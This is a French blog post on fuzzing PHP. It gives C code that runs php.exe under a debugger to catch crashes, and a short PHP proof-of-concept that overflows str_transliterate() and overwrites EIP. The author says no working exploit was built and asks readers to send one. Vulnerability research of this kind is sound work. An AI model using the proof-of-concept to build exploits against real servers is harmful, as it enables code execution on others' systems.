Fuzzing PHP : PHP6 str_transliterate() (Unicode) Buffer Overflow vulnerability
Bonjour tout le monde =)
Il y a un moment maintenant, j’ai publié a article sur le fuzzing de PHP. Mais mon fuzzer était un peu instable et surtout mal-codé. Vous pouvez trouver mon ancien article ici : Fuzzing PHP
Aujourd’hui je vous présente une nouvelle approche du PHP Fuzzing, et je vous propose mon nouveau fuzzer. Le but de ce fuzzer est de trouver des vulnérabilités de type Buffer Overflow dans les fonctions de PHP. Prenant en compte le fait que quand un buffer overflow a lieu, une exception « Access Violation » est levée à cause de EIP égal à 0×41414141 par exemple, j’ai eu l’idée de débugger php.exe dans le but de contrôler les exceptions générées. Et si une exception « Access Violation » est levée, je peux dire que j’ai trouvé une vulnerabilité.
Donc, j’obtiens la liste des fonctions définies de PHP avec get_defined_functions().
Ensuite je parcours cette liste et teste chaque fonction :
VOID FuzzFunction(PUCHAR szFunction, UINT nbArg) { EXCEPTION_RECORD ExceptionInfo = {0x0}; FILE *hLog = NULL; PUCHAR szReq = NULL;; UCHAR szBof[BOF_SIZE+1]; size_t i; memset(szBof, 0x41, BOF_SIZE); szReq = (PUCHAR)calloc((nbArg+1)*BOF_SIZE, sizeof(UCHAR)); sprintf(szReq, "php -r %s('%s'", szFunction, szBof); for(i = 1; i < nbArg; i++) { strcat(szReq, ",'"); strcat(szReq, szBof); strcat(szReq, "'"); } strcat(szReq, ");"); /* Check for a bug */ if(Test(szReq, &ExceptionInfo)) { printf("[!] Bug (code : 0x%x) at 0x%x with %s", ExceptionInfo.ExceptionCode, ExceptionInfo.ExceptionAddress, szFunction); hLog = fopen("Log.txt", "a+"); if(hLog != NULL) fprintf(hLog, "[!] Bug (code : 0x%x) at 0x%x with %s", ExceptionInfo.ExceptionCode, ExceptionInfo.ExceptionAddress, szFunction); fclose(hLog); return; } else if(nbArg < NB_ARG_LIMIT) FuzzFunction(szFunction, nbArg+1); return; }
Ici j’utilise la récursivité pour tester avec un argument, puis deux, puis trois, … Chaque fois j’appelle la fonction Test() qui vérifie si une exception a lieu :
BYTE Test(PUCHAR szReq, PEXCEPTION_RECORD pExceptionInfo) { DWORD BUG = 0x0; STARTUPINFO si = {0x0}; PROCESS_INFORMATION pi = {0x0}; DEBUG_EVENT DebugEvent; EXCEPTION_DEBUG_INFO ExceptDbgInfo; EXCEPTION_RECORD ExceptRecord; PEXCEPTION_RECORD pRetExceptRecord = NULL; //printf("Starting Process..."); if(!CreateProcess("php.exe", szReq, NULL, NULL, FALSE, DEBUG_ONLY_THIS_PROCESS|DETACHED_PROCESS, NULL, NULL, &si, π)) { printf("FAILED to execute php.exe : 0x%x\n\n", GetLastError()); return 0x0; } //printf("OK"); DebugActiveProcess(pi.dwProcessId); //printf("\nDebugging Process (ID : 0x%x)...\n\n", pi.dwProcessId); while(1) { WaitForDebugEvent(&DebugEvent, INFINITE); if(DebugEvent.dwDebugEventCode == EXCEPTION_DEBUG_EVENT) { ExceptDbgInfo = DebugEvent.u.Exception; ExceptRecord = ExceptDbgInfo.ExceptionRecord; if(ExceptRecord.ExceptionCode != 0x80000003) { pExceptionInfo->ExceptionAddress = ExceptRecord.ExceptionAddress; pExceptionInfo->ExceptionCode = ExceptRecord.ExceptionCode; BUG = 0x1; break; } } else if(DebugEvent.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT) { // printf("\n\nProcess exited %ld\n\n", GetLastError()); break; } ContinueDebugEvent(DebugEvent.dwProcessId, DebugEvent.dwThreadId, DBG_CONTINUE); } DebugActiveProcessStop(pi.dwProcessId); TerminateProcess(pi.hProcess, 0x0); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return BUG; }
Bien, vous voyez clairement que je débugge php.exe. Et si une exception est levée, je la détecte et retourne 1 (=bug).
J’ai testé avec PHP 6, je sais que cette version est encore en développement, mais beaucoup de bugs ont déjà été trouvés sur PHP 5. Une petite screen shot du résultat :
Alors les fonctions vulnérables sont com_print_typeinfo() (un bug déjà trouvé dans PHP 5) et, ce qui est une nouveauté, str_transliterate().
Et si on teste on voit qu’on peut réécrire EIP avec une unicode string (EIP = 0×00410041). Il est donc possible d’exploiter cette vulnérabilité pour exécuter un code malicieux (Voyez plutôt mon article précédent : EIP = 0×00410041 ?? Exploiting Unicode Buffer Overflows) sur un serveur.
Je n’ai pas réussi à faire un exploit qui fonctionne correctement parce que beaucoup de contraintes rendent l’exploitation très difficile (du moins pour moi).
Donc je vous donne juste une petite preuve de la vulnérabilité :
<?php /* str_transliterate() vulnerability found with PHPFuzz : http://lilxam.tuxfamily.org/blog/?p=302 Can be exploited to execute malicious code on a server. I think it is possible to exploit this vulnerability with Unicode Buffer Overflow method (See http://lilxam.tuxfamily.org/blog/?p=259 for more informations about this technique). But I didn't manage to do this =(. If somebody successfuly builds a working exploit I would be very interested ! Mail me at lilxam at gmail dot com Proof of concept : */ $buf = str_repeat("A", 256); $eip = "\xH\xH"; // Will be unicode converted $more = str_repeat("I", 528); echo str_transliterate("Hello", $buf.$eip.$more, "Cyrillic"); ?>
Vous pouvez télécharger mon fuzzer ici : PHPFuzz
Bonjour,
j’ai un projet sur les buffers overflows et maintenant je dois developper un fuzzer pour un programme ecrit en c.
je sais pas comment faire et comment en commencer.
je sollicite votre aide pour un premier pas et merci infiniment
cordialement
Bonjour,
si tu veux envoies moi un mail et explique moi en détail ton projet et je t’aiderai à commencer.
Mon adresse : lilxam@gmail.com.
Cordialement,
Lilxam.